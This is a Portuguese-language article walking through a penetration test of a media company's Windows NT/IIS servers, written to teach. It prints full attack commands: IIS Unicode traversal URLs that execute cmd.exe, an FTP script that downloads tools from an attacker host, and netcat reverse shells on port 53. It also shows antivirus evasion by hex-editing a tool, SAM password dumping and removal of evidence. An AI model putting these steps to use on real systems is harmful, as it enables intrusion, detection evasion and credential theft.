Análise de um Teste de intrusão


Um consultor, com conhecimento limitado sobre a estrutura e organização de uma corporação, pode simular uma situação real de um cracker tentando obter acesso a um ambiente. A este tipo de avaliação damos o nome de Teste de Intrusão. Seguir será mostrado e comentado um teste de intrusão realizado por um consultor de segurança e disponibilizado na Internet.

A organização avaliada é uma empresa no ramo de comunicação, com emissoras de TV, Rádio e Jornais.

Estas são as principais ferramentas utilizadas:

Cyberkit – DNS lookups, traceroute, whois, finger;
NetCat – Abre conexões TCP;
Hk.exe – Permite obter acesso de nível privilegiado no Windows NT.;
Comandos net – net view, net send, net share etc;
Editor hexa – Edita arquivos em formato hexadecimal;
Whisker.pl – Procura vulnerabilidades em servidores Web;
Lophtcrack – Quebra senhas do Windows;
WinVNC – Software de controle remoto.

a) Obtendo informações

O ataque começou com DNS lookups nos IPs da empresa, requisições whois e varredura de portas nos servidores publicados na Internet. Foram localizados 140 computadores (servidores Web, DNS, e-mail e B2B), sendo que a maioria deles eram servidores NT e outros eram versões de UNIX. Uma varredura rápida nos servidores Web mostrou que eram utilizados servidores com IIS(Internet Information Server) 3.0 e 4.0.

Como em todo ataque real, este Teste de Intrusão começou com a obtenção de informações a respeito do alvo. O software Cyberkit foi utilizado numa varredura inicial, todos computadores que estão ligados à Internet foram identificados, bem como seus sistemas operacionais e versões dos serviços instalados.

b) Encontrando Vulnerabilidades

O trabalho começou com o principal servidor Web da empresa (NT 4.0 com IIS 4.0). Uma rápida verificação na lista de vulnerabilidades conhecidas no site SecurityFocus, mostrou que a vulnerabilidade “Directory traversal using Unicode vulnerability” está presente em algumas versões do IIS. Esta vulnerabilidade é explorada enganando o servidor Web para que ele permita o acesso aos diretórios do computador que normalmente estariam ocultos aos visitantes do site. No IIS o diretório padrão para os sites é localizado em C:\Inetpub\wwwroot. Logo, ao invés de requisitar o documento http://www.vitima.com/index.html, que corresponde ao arquivo físico C:\Inetpub\wwwroot\index.html, o hacker requisita alguma coisa como http://www.vitima.com/../../index.html, que corresponde ao arquivo C:\index.html. Não existe um arquivo index.html no diretório C:, mas a partir de lá qualquer outro arquivo cuja a localização seja conhecida poderia ser acessado, tomando-se por base uma instalação padrão. Por exemplo, o programa cmd.exe poderia ser utilizado para executar comandos arbitrários no servidor, como se o hacker tivesse sentado na frente do computador e digitando comandos em uma janela DOS. Contudo, para que essa vulnerabilidade possa ser explorada, seria necessário ter direitos de execução e a seqüência de caracteres /../.. deveria ser substituída pelo equivalente em Unicode. Logo, ao invés de requisitar o cmd.exe do C:\Inetpub\wwwroot seria necessário fazer isso a partir de C:\Inetpub\wwwroot\scripts, sendo preciso mais uma camada de /... Esses caracteres devem ser traduzidos para o Unicode, pois o IIS filtra estes tipos de caracteres. Para executar o comando “dir c: /s” no servidor, por exemplo, deverá ser requisitada a URL:

http://www.vitima.com/..%1c%pc../winnt/system32/command/cmd.exe?c+dir+c:\+/s

Nesse comando, o caractere + substitui o caractere de espaço, e o ?/c+ é necessário para passar parâmetros para o cmd.exe, e /.. é representado em Unicode como %1c%pc. Executando este comando, no navegador, será apresentada uma lista completa de todos os arquivos do drive C: do servidor. O mesmo processo pode ser executado para outras unidades do servidor. Com este recurso é possível executar diversos comandos, como ping e comandos net para mapear a rede interna, contudo, executar estes comandos com o navegador é muito trabalhoso, logo é mais conveniente criar um script para esta finalidade.

De posse dos endereços dos servidores e das versões dos serviços instalados, é o momento de identificar falhas que permitam o acesso ao sistema. Uma falha foi encontrada em um dos grandes sites de segurança, o SecurityFocus. Entendida a falha e como ela pode ser explorada, é hora de começar o ataque propriamente dito.

c) Armando o Arsenal

O primeiro passo do ataque é ativar um servidor FTP no laptop do atacante e copiar as ferramentas para o diretório principal do FTP. Foram copiados os arquivos nc.exe e hk.exe. Foi carregado um cliente FTP no computador da vítima para baixar as ferramentas do laptop. Como o FTP é interativo, e não é possível fazer a interação através de navegador, então foi criado um script para ser executado no servidor. Os comandos executados para criar o arquivo texto do script são mostrados a seguir:

http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+open+ftp.intruder.com+ >>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+username>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+password>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+prompt>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+bin>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+mget+*.exe>>ftp.txt
http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+echo+bye>>ftp.txt

O conteúdo do script foi verificado através do navegador, e depois a seção FTP foi estabelecida, assumindo-se que o firewall permitiria aquele tráfego. O script foi executado com o seguinte comando:

http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+ftp+-s:ftp.txt

Depois foi usado o NetCat para obter um prompt de comandos no servidor. O NetCat é uma ferramenta de rede muito útil, que pode ser utilizada para permitir a comunicação via uma porta TCP qualquer e criar um shell prompt.

O NetCat foi executado no laptop no modo de escuta(listening) na porta 53, também usada para consultas DNS e normalmente permitida pelo firewall. Depois foi executado o NetCat no servidor para disponibilizar o shell prompt no laptop, tudo através do navegador. Numa janela DOS do laptop foi dado o seguinte comando:

Nc –l –p 53

E no navegador:

http://www.vitima.com/..%c%pc../winnt/system32/cmd.exe?/c+nc+-d+-e+cmd.exe+MeuEndereçoIP+53

Então a janela do laptop mostrou:

Microsoft(R) Windows NT(TM)

(C) Coypright 1985-1996 Microsoft Corp.

C:\Inetpub\wwwroot\scripts>_

Pronto, ganhamos um prompt. Utilizou-se o comando whoami para identificar qual era o usuário logado na máquina. Infelizmente era o INET_IUSR/Anonymous, a conta de usuário anônimo da Internet e não a de administrador. Isso significa que as informações importantes não poderão ser acessadas.

É necessário, além do conhecimento sobre protocolos e sistemas operacionais, entendimento sobre o funcionamento dos softwares que explorarão as falhas encontradas. Aqui o consultor usou um servidor FTP em seu laptop e um cliente no servidor para baixar as ferramentas para o alvo. O NetCat serviu para abrir uma conexão inicial. A porta de comunicação foi acertadamente escolhida, as requisições DNS, necessárias ao funcionamento do servidor, não despertavam suspeitas e podiam passar desapercebidas pelo Firewall ou IDS(Intrusion Detection System – Sistema de Detecção de Intrusão).

d) Efetuando o Ataque

Então o consultor tentou iniciar uma conexão TELNET usando uma outra porta com a ferramenta hk.exe. Esta ferramenta explora uma vulnerabilidade associada a uma chamada não documentada de uma API que permite a uma thread obter um token(um atributo de segurança que define o nível o nível em que uma thread pode rodar) de uma thread do kernel. Para usar esta ferramenta, digita-se hk seguido do comando que se deseja executar se tivesse o privilégio de administrador. O comando digitado foi:

Hk nc –e –e cmd.exe MeuEnderecoIP 23

O resultado foi a mensagem de “Bad command or filename” . Depois de algumas verificações, vimos que o arquivo hk.exe tinha sido movido para o diretório C:\Program Files\Antivyrtec Associates\Antivírus\Quarantine\. O Antivírus havia identificado e capturado nosso aplicativo.

Foi utilizado um editor hexa no arquivo hk.exe. Como este é um aplicativo compilado, qualquer modificação poderia comprometer seu funcionamento. Dentro do código foi editada uma mensagem que dizia “Your wish is my command master”. Foi mudada esta mensagem para “XXXX XXXX XX XXXXXXXX XXXXXX” e renomeado este arquivo para hk2.exe. Depois de baixar este arquivo o antivírus não o capturou.

Dentro de uma nova janela DOS no laptop foi criada uma nova conexão com o seguinte comando:

Nc –l –p 23

E depois o comando:

Hk2 nc –d –e cmd.exe MeuEnderecoIP 23

Na conexão ativa no servidor Web foi mostrado:

Hk2 nc –d –e cmd.exe MeuEnderecoIP 23

Lsass pid & tid are: 50 - 53

Lauching line was: nc –d –e cmd.exe MeuEnderecoIP 23

XXXX XXXX XX XXXXXXXX XXXXXXNTImpersonateClientOfPort

Suceeded

Na tela do laptop foi exibido:

Microsoft(R) Windows NT(TM)

(C) Copyright 1985-1996 Microsoft Corp.

C:\Inetpub\wwwroot\scripts>

Whoami

NT AUTHORITY/SYSTEM

Agora foi fechada a primeira conexão NetCat, ela não era mais necessária. A primeira coisa a ser feita foi a cópia do banco de dados SAM para o laptop e a quebra das senhas pelo aplicativo l0phtcrack, com dicionários de senhas e força bruta. Com alguns pings e comandos net todos os domínios e servidores NT foram listados. Foram colhidas todas as evidências da intrusão e por último foi instalado no servidor Web o WinVNC, o mais espantoso foi, após visualizar a tela do servidor, que a mensagem de captura do aplicativo hk.exe ainda estava na tela, ou seja, durante nossos testes(quase três dias) ninguém olhou para a tela do computador. O consultor então clica em OK e assim removeu a evidência mais óbvia de sua intrusão, além de apagar os arquivos que havia copiado anteriormente.

Através de outra falha, desta vez numa API do Windows, foi possível aumentar o nível de acesso do consultor e obter privilégio de administrador. O antivírus foi facilmente enganado simplesmente editando o arquivo e mudando apenas um banner de boas vindas, quebrando assim o sistema de identificação de assinaturas. Uma conexão privilegiada foi estabelecida e as provas da intrusão foram coletadas. A partir deste servidor, outras máquinas foram exploradas e então finalmente o consultor deixa o sistema.

e) Conclusão

Ao analisar vários ataques, muitas semelhanças podem ser encontradas. Certamente uma delas é a seqüência que eles obedecem. O consultor seguiu a ordem normal e começou com varreduras e obtenção de informações, depois passou a procurar vulnerabilidades e como explorá-las, e finalmente efetuou o ataque e buscou evidências da intrusão. Note que todo o teste foi feito sem conhecimentos privilegiados, parecendo assim um ataque real.

As falhas de programas foram exploradas intensamente nesse teste. O servidor Web tinha uma vulnerabilidade conhecida há bastante tempo e sua correção já estava disponível, bastava apenas uma atualização do software para impedir a ação do atacante. Outro fato é a ampla divulgação de falhas de segurança em sites especializados, muitas vezes essas atualizações acontecem muito depois de sua divulgação, quando a exploração dessas mesmas falhas já ocorreu.

Com este teste foi possível verificar também que apenas uma falha em um dos servidores comprometeu a segurança inteira da estrutura, confirmando aquela máxima, comum na área de segurança, que diz: ”A corrente é tão forte quanto seu elo mais fraco.”

A negligência dos administradores também pode ser observada pela não percepção do ataque, além da falta de atualização dos softwares, principalmente dos serviços críticos, como o servidor Web.

André Luis